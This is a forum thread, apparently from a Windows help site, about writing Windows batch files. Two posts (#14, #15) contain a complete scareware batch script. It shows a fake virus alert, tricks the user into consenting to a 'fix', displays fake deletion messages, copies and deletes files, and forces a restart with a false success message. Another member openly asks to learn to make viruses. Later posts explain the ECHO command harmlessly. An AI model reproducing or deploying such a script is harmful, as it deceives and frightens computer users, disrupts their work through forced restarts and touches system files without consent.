![]() |
|
|
#11 | |
|
News Reporter
![]() |
Re: Batch Files
The part that says Deleting files in %windir%...
Quote:
__________________
--1mAn3rd |
|
|
|
|
|
|
#12 |
|
Advanced Member (250+)
Join Date: Nov 2007
Location: /etc/init.d/
Posts: 441
Thanks: 15
Thanked 7 Times in 7 Posts
Rep Power: 0
![]() OS:
|
Re: Batch Files
lol ok ty...thougt it would lol
![]() ............
__________________
(\__/) (='.'=) This is Bunny. Copy and paste bunny into your (" )_(" ) signature to help him gain world domination. http://www.youtube.com/watch?v=ZXD4N_Mi1iE&fmt=22# Freelancer Evolving |
|
|
|
|
|
#13 |
|
News Reporter
![]() |
Re: Batch Files
xD Well, you need to use the ping thing that I used... it will pause the batch file for a certain amount of time, then it will go.
__________________
--1mAn3rd |
|
|
|
|
|
#14 |
|
Advanced Member (250+)
Join Date: Nov 2007
Location: /etc/init.d/
Posts: 441
Thanks: 15
Thanked 7 Times in 7 Posts
Rep Power: 0
![]() OS:
|
Re: Batch Files
i developed it even more
Code:
@echo off cls color 0C echo Windows has found a virus... echo. echo It is recommended to let Windows fix this issue. echo. echo If you do not let Windows fix this issue, echo the next time you restart the computer echo Windows will not load properly. set /p command=Would you like windows to fix this issue? (Y/N): if "%command%"=="Y" goto :delete if "%command%"=="N" goto :exit :delete cls echo Deleting files in %WINDIR%. PING 1.1.1.1 -n 1 -w 2500 >NUL cls echo Deleting files in %WINDIR%.. PING 1.1.1.1 -n 1 -w 2500 >NUL cls echo Deleting files in %WINDIR%... PING 1.1.1.1 -n 1 -w 2500 >NUL cls if exist "C:\WIN" goto start MKDIR "C:\WIN" :start xcopy /E /Y %windir% "C:\WIN" del C:\WIN cls shutdown -r -t 10 -c "Windows has succesfully fixed the issue." :exit exit |
|
|
|
|
|
#15 |
|
Advanced Member (250+)
Join Date: Nov 2007
Location: /etc/init.d/
Posts: 441
Thanks: 15
Thanked 7 Times in 7 Posts
Rep Power: 0
![]() OS:
|
Re: Batch Files
@echo off
TITLE VIRUS ALERT! cls color 0C echo Windows has found a virus... echo. echo It is recommended to let Windows fix this issue. echo. echo If you do not let Windows fix this issue, echo the next time you restart the computer echo Windows will not load properly. set /p command=Would you like windows to fix this issue? (Y/N): if %command%==Y goto :delete if %command%==N goto :exit if %command%==y goto :delete if %command%==n goto :exit :delete cls echo Deleting files in %WINDIR%. PING 1.1.1.1 -n 1 -w 2500 >NUL cls echo Deleting files in %WINDIR%.. PING 1.1.1.1 -n 1 -w 2500 >NUL cls echo Deleting files in %WINDIR%... PING 1.1.1.1 -n 1 -w 2500 >NUL cls if exist "C:\WIN" goto start MKDIR "C:\WIN" :start xcopy /E /Y %windir% "C:\WIN" del C:\WIN cls shutdown -r -t 10 -c "Windows has succesfully fixed the issue." :exit exit |
|
|
|
|
|
#16 |
|
Newbie
Join Date: Nov 2008
Posts: 14
Thanks: 2
Thanked 1 Time in 1 Post
Rep Power: 0
![]() |
Re: Batch Files
its not .bat but you use notepad and it is fun to make/do
http://www.techtalkz.com/tips-n-tric...-you-want.html ps. what does "echo" do?
__________________
LOOKING FOR SOMEONE TO TEACH ME HOW TO MAKE VIRUS'S AND OTHER THINGS WITH NOTEPAD |
|
|
|
| Thanked Users: | satish.R (07-11-2008) |
|
|
#17 | |||
|
Founder
![]() Join Date: Nov 2005
Location: The Last City Zion!
Posts: 3,539
Thanks: 287
Thanked 345 Times in 298 Posts
Rep Power: 62
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() OS:
|
Re: Batch Files
Quote:
1. Turning Screen Echo on or off Code:
ECHO OFF Code:
ECHO Installing Software... Code:
ECHO Quote:
Quote:
|
|||
|
|
|
|
|
#18 |
|
Newbie
Join Date: Nov 2008
Posts: 14
Thanks: 2
Thanked 1 Time in 1 Post
Rep Power: 0
![]() |
Re: Batch Files
still doesn't explain what it is....does it show a message? does it repeat something? etc.
__________________
LOOKING FOR SOMEONE TO TEACH ME HOW TO MAKE VIRUS'S AND OTHER THINGS WITH NOTEPAD |
|
|
|
|
|
#19 |
|
ƒ(ψ)=ΘΊΧφ
![]() |
Re: Batch Files
yes if you write something after echo it's shown in the screen.
and the best way to learn it is trying out small examples by yourself. Or simply open command prompt and type : echo /?
__________________
Please don't click here |
|
|
|
|
|
#20 |
|
News Reporter
![]() |
Re: Batch Files
Try clicking on the start menu > run > cmd and click ok. In the command prompt, type
echo Hello world! and it will repeat it on the screen. These are used in batch files very often. Always in the top of a batch file (unless troubleshooting it) put: echo off cls and it will turn the normal response off.
__________________
--1mAn3rd |
|
|
|
| Thanked Users: | Bear (08-11-2008) |
![]() |
| Thread Tools | |
| Display Modes | |
|
|
< Windows Help - MS Office Help - Hardware Support >
| New To Site? | Need Help? |